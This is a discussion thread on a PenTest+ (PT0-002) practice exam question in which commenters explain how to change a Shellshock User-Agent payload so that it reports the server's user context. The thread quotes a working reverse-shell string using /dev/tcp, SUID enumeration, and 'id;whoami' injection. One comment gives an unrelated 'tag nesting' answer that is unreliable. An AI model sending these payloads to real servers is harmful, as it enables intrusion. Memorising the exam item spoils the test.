Exam PT0-002 topic 1 question 52 discussion

A. exploit = {User-Agent: () { ignored;};/bin/bash -i id;whoami, Accept: text/html,application/xhtml +xml,application/xml} The code in the script is creating a dictionary object called exploit which contains a key-value pair for the User-Agent and Accept headers. The value of the User-Agent key is a command that will execute a shell command to create a reverse shell and redirect its input and output to a specified IP and port. To determine the user context in which the server is being run, the tester should replace the command in the User-Agent value with 'id;whoami' which will execute a shell command to show the current user and group name of the process. Option B is trying to find all files with the SUID bit set, which is not related to determining the user context in which the server is being run. Option C is executing 'ps -ef' command which shows all running processes but not the user context. Option D is trying to connect to the same IP and port, which is not related to determining the user context in which the server is being run.

A is correct

...following code: exploit = {`User-Agent`: `() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1`, `Accept`: `text/html,application/ xhtml+xml,application/xml`} Which of the following edits should the tester make to the script to determine the user context in which the server is being run? A. exploit = {User-Agent: () { ignored;};/bin/bash -i id;whoami, Accept: text/html,application/xhtml +xml,application/xml}

The question needs to be re-written on the practice exam. The answers make no sense because of the weird special characters in the statements. A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code: exploit = {`User-Agent`: `() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1`, `Accept`: `text/html,application/ xhtml+xml,application/xml`} Which of the following edits should the tester make to the script to determine the user context in which the server is being run? A. exploit = {User-Agent: () { ignored;};/bin/bash -i id;whoami, Accept: text/html,application/xhtml +xml,application/xml}

A. The other options do not directly address the need to determine the user context: • B: find / -perm -4000 lists files with the setuid bit set, which is useful for privilege escalation but does not determine the user context. • C: ps -ef lists all processes, which can be useful for understanding the system state but does not determine the user context. • D: Redirecting output to /dev/tcp/10.10.1.1/80 is for creating a reverse shell, but it does not provide the specific information about the user context. Thus, option A is the best choice for determining the user context in which the server is being run.

Which of the following edits should the tester make to the script to determine the USER context in which the server is being run? Trying to find user. Answer choice A "whoami".

To determine the user context in which the server is being run, the tester can modify the script to include a command that retrieves information about the user. The correct option would be: A. exploit = {'User-Agent': '() { ignored;};/bin/bash -i id;whoami', 'Accept': 'text/html,application/xhtml+xml,application/xml'} This modification includes the id;whoami command after the /bin/bash -i part. This command will provide information about the user's identity when the exploit is executed on the vulnerable web server.

The edit that the tester should make to the script to determine the user context in which the server is being run is A. exploit = {`User-Agent`: `() { ignored;};/bin/bash -i id;whoami`, `Accept`: `text/html,application/xhtml+xml,application/xml`}. This edit will execute the "whoami" command, which will show the user context in which the server is being run.

The technique that would best accomplish this goal is D. Tag nesting. Tag nesting involves using multiple tags to gain access to a system or network, which can be used by the penetration tester to send traffic to a remote system without being detected.

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A is correct

User context, i.e. who am i?

Could someone explain this one?